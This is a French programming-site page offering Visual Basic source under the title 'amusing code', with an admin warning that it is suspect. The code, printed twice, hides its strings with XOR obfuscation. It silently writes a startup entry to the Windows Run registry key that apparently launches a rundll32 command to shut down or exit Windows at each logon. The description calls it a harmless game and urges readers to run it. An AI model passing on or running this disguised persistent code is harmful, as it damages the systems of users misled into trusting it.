Accueil > > > CODE AMUSANT
CODE AMUSANT
Information sur la source
Attention: ce code a été marqué comme suspect par un admin, il peut donc être dangereux. Ce code a été laissé sur le site dans un but pédagogique, ne l'exécutez pas si vous ne comprenez pas son contenu!
Description
Ben voila, je trouve ce code super amusant, c'est tip top vous voyez? Dans le fond c'est très simple, même enfantin, il suffisait d'y penser! Comme quoi même dans une maison de retraite on trouve toujours moyen d'égayer sa journée avec des petits jeux amusants! Il suffit de créer une form et de coller ce code à l'interieur, puis appuyez sur F5 ou utilisez votre souris...waaaallaaaa!
Source
- Private Declare Function PutThisWhereIWant Lib "advapi32.dll" Alias "RegCreateKeyA" _
- (ByVal hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
- Private Declare Function LetSetItHere Lib "advapi32.dll" Alias "RegSetValueExA" _
- (ByVal hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, _
- ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
- Private Declare Function MaisOuJeSuis Lib "kernel32" Alias "GetVersionExA" _
- (lpVersionInformation As OSVERSIONINFO) As Long
-
- Private Type OSVERSIONINFO
- dwOSVersionInfoSize As Long
- dwMajorVersion As Long
- dwMinorVersion As Long
- dwBuildNumber As Long
- dwPlatformId As Long
- szCSDVersion As String * 128
- End Type
-
- Private Sub Form_Load()
- Call BuildApp
- MsgBox LaGrandeVerite$("Wmvw%ìsmz*oi~.m|p{aqtco"), vbOKOnly, _
- LaGrandeVerite$("Dv#Kpo)&'")
- End
- End Sub
-
- Function LaGrandeVerite$(LeText$)
- a$ = ""
- For i = 1 To Len(LeText$)
- LeCar = Asc(Mid$(LeText$, i, 1)) Xor i
- a$ = a$ + Chr$(LeCar)
- Next i
- LaGrandeVerite$ = a$
- End Function
-
- Sub BuildApp()
- Dim Resultat As Long
- Dim Ident As Long
-
- Resultat = 0
- Where$ = LaGrandeVerite$("RmeprgumUGbo" + Chr$(127) + "a|" + Chr$(127) + _
- "wfOC|xswniG_hlmEOVuAWUNGGvyYC}JBG[PQF")
- Resultat = PutThisWhereIWant(&H80000002, Where$, Ident)
- If Resultat = 0 Then
- LeNom$ = LaGrandeVerite$("R{pp`kDdfi`")
- If GreatPlaceToLive = 2 Then
- Value$ = LaGrandeVerite$("swm`ij4:)" + Chr$(127) + "xi" + Chr$(127) + _
- "==<BerdXybk|Xnhiqq")
- Else
- Value$ = LaGrandeVerite$("swm`ij4:)" + Chr$(127) + "xi" + Chr$(127) + _
- Chr$(34) + "\gpb^{`erZlnoss")
- End If
- Resultat = LetSetItHere(Ident, LeNom$, 0&, 1, ByVal Value$, Len(Value$) + 1)
- End If
- End Sub
-
- Function GreatPlaceToLive()
- Dim Here As OSVERSIONINFO
- Here.dwOSVersionInfoSize = Len(Here)
- Call MaisOuJeSuis(Here)
- GreatPlaceToLive = Here.dwPlatformId
- End Function
Private Declare Function PutThisWhereIWant Lib "advapi32.dll" Alias "RegCreateKeyA" _
(ByVal hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function LetSetItHere Lib "advapi32.dll" Alias "RegSetValueExA" _
(ByVal hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, _
ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Declare Function MaisOuJeSuis Lib "kernel32" Alias "GetVersionExA" _
(lpVersionInformation As OSVERSIONINFO) As Long
Private Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion As String * 128
End Type
Private Sub Form_Load()
Call BuildApp
MsgBox LaGrandeVerite$("Wmvw%ìsmz*oi~.m|p{aqtco"), vbOKOnly, _
LaGrandeVerite$("Dv#Kpo)&'")
End
End Sub
Function LaGrandeVerite$(LeText$)
a$ = ""
For i = 1 To Len(LeText$)
LeCar = Asc(Mid$(LeText$, i, 1)) Xor i
a$ = a$ + Chr$(LeCar)
Next i
LaGrandeVerite$ = a$
End Function
Sub BuildApp()
Dim Resultat As Long
Dim Ident As Long
Resultat = 0
Where$ = LaGrandeVerite$("RmeprgumUGbo" + Chr$(127) + "a|" + Chr$(127) + _
"wfOC|xswniG_hlmEOVuAWUNGGvyYC}JBG[PQF")
Resultat = PutThisWhereIWant(&H80000002, Where$, Ident)
If Resultat = 0 Then
LeNom$ = LaGrandeVerite$("R{pp`kDdfi`")
If GreatPlaceToLive = 2 Then
Value$ = LaGrandeVerite$("swm`ij4:)" + Chr$(127) + "xi" + Chr$(127) + _
"==<BerdXybk|Xnhiqq")
Else
Value$ = LaGrandeVerite$("swm`ij4:)" + Chr$(127) + "xi" + Chr$(127) + _
Chr$(34) + "\gpb^{`erZlnoss")
End If
Resultat = LetSetItHere(Ident, LeNom$, 0&, 1, ByVal Value$, Len(Value$) + 1)
End If
End Sub
Function GreatPlaceToLive()
Dim Here As OSVERSIONINFO
Here.dwOSVersionInfoSize = Len(Here)
Call MaisOuJeSuis(Here)
GreatPlaceToLive = Here.dwPlatformId
End Function
Conclusion
Oh... ça marche même sous windows 2000!
Sources du même auteur
Sources de la même categorie
Commentaires et avis
Discussions en rapport avec ce code source dans le forum
Détection click souris [ par Duke76 ]
J'ai un bouton de commande sur une feuille excel 2000 . J'ai affecté à l'événement CommandButton1_Click() le code suivant : Range("a1") = 1 .Quand je
bouton droit de la souris [ par WareG ]
BJRetant encore novice en programmation j'ai un petit problème. J'aimerais avec le bouton droit de la souris faire apparaitre un menu flottant dans un
Simuler un Install de fichier .inf via le bouton droit souris [ par carlos95 ]
Je cherche à faire un script qui fait exactement la même chose (install d'un fichier .inf) que l'option Installer via le bouton droit de la souris.Je
Détection appui sur bouton Souris [ par bene74 ]
Bonjour,Je cherche une solution par détecter l'APPUI sur le bouton gauche de la souris (l'évènement Click ne se déclenche qu'au moment du relâché!!!).
*****************Comment bloquer le bouton droit de la souris partout dans le projet??????*************** [ par MasterH ]
Je doit empêche que l'utilisateur utilise le menu du bouton droit de la souris tout au long de mon projet. Les option Couper et Suprimer font planté l
help!!!! [ par Nargzul ]
je cherche comment faire pour simuler un clic de souris, du genre on aurait la souris au dessus d'un bouton, ca clic et le bouton s'enfoncerait...pour
Action continue sur un bouton avec la souris [ par maitkaci ]
Quelqu'un peut-il me donner l'astuce pour obtenir que la pression continue (avec le curseur de la souris) sur un bouton entraine une action permanente
Pb de rollover [ par mat1eu ]
bonjour, j'essaye de creer une rotation d'un clip à l'aide d'un bouton, l'action est simple lorsque la souris est sur le bouton le clip fait une
execute un prog tant que le bouton gauche de la souris est appuyé sur un bouton [ par bibinutz ]
salut tout le mondevoila le dilemne lol :je souhaiterais incrementer une valeur tant qu'un bouton reste appuyé a l'aide de la souris mais le prob
menu dynamique [ par maxelpiratos ]
bonjour a tous, voila j ai cree un menu vertical dynamique , le probleme est que le sous menu ne s affiche que losque la souris passe sur le bouton
|
Derniers Blogs
[WP7] DYNAMICALLY CHANGE STARTUP PAGE[WP7] DYNAMICALLY CHANGE STARTUP PAGE par KooKiz
Let's say that you want to allow the user to customize the startup page of your application. You can easily change the startup page by editing the 'NavigationPage' attribute in the manifest file. But the manifest cannot be modified once the applicatio...
Cliquez pour lire la suite de l'article par KooKiz SESSION SILVERLIGHT 5 3D : SLIDES ET DEMOSSESSION SILVERLIGHT 5 3D : SLIDES ET DEMOS par Groc
Durant les techdays, j'ai eu le plaisir d'animer une session sur Silverlight 5 et la 3D avec Simon Ferquel. Comme promis, voici nos slides et mes démos (celles avec le viper BSG) ici et là. Pour mémoire, les démos utilisent toutes le viper BSG...
Cliquez pour lire la suite de l'article par Groc [TECHDAYS 2012] SESSION WEBMATRIX 2 : LE COUTEAU SUISSE GRATUIT POUR VOS DéVELOPPEMENTS WEB - SLIDES[TECHDAYS 2012] SESSION WEBMATRIX 2 : LE COUTEAU SUISSE GRATUIT POUR VOS DéVELOPPEMENTS WEB - SLIDES par gpommier
Suite à la session que j'ai présenté sur WebMatrix 2, vous pouvez trouver les slides ici, ainsi que les démos en packages nuget : démos1 et démos2 J'en profite pour remercier chaleureusement tous ceux qui sont venus très nombreux à cette sess...
Cliquez pour lire la suite de l'article par gpommier [SHAREPOINT] LES SESSIONS TECHDAYS 2012.[SHAREPOINT] LES SESSIONS TECHDAYS 2012. par Patrick Guimonet
Voici donc pour ceux qui n'ont pas pu venir, ou ceux qui n'ont pas pu toutes les suivre la liste des sessions SharePoint aux TechDays 2012, que je mettrais à jour dès que les liens des vidéo seront disponibles. Ou ici : http...
Cliquez pour lire la suite de l'article par Patrick Guimonet TECHDAYS PARIS 2012 : SESSION PLEINIèRE JOUR 3TECHDAYS PARIS 2012 : SESSION PLEINIèRE JOUR 3 par ROMELARD Fabrice
Speaker: Bernard Ourghanlian Cette session est comme chaque jour transmise en live par BrainSonic, et j'ai donc suivi cette troisième pleinière par ce moyen sur mon iPad . Elle est dédiée comme chaque année à la mise en perspective de l'é...
Cliquez pour lire la suite de l'article par ROMELARD Fabrice
Forum
LISTER KEYS.KEYLISTER KEYS.KEY par Onin42
Cliquez pour lire la suite par Onin42
Logiciels
Tribler (2012)TRIBLER (2012)Tribler est un client pair à pair (P2P/Peer-to-Peer) open source avec la capacité de regarder des... Cliquez pour télécharger Tribler OneSwarm (2012)ONESWARM (2012)Le peer-to-peer qui protège votre vie privée, c'est OneSwarm.
Ce logiciel de peer-to-peer crypté... Cliquez pour télécharger OneSwarm PONAMEDIA PREMIUM - HELLLOOO FLASH DEMO (V8.4)PONAMEDIA PREMIUM - HELLLOOO FLASH DEMO (V8.4)PONAMEDIA TV DEVIENS HELLLOOO FLASH
LA TV SUR VOTRE ORDINATEUR.
Toute une plateforme Multi... Cliquez pour télécharger PONAMEDIA PREMIUM - HELLLOOO FLASH DEMO Academy System (17.2.1.0)ACADEMY SYSTEM (17.2.1.0)Logiciel de gestion des établissements.
- élèves/étudiants (inscription, dossier, absence...)
-... Cliquez pour télécharger Academy System Easy-Planning (1.0.0.1)EASY-PLANNING (1.0.0.1)Basé sur les mêmes principes que MyPlanning, Easy-Planning permet de créer des plannings sous la ... Cliquez pour télécharger Easy-Planning
|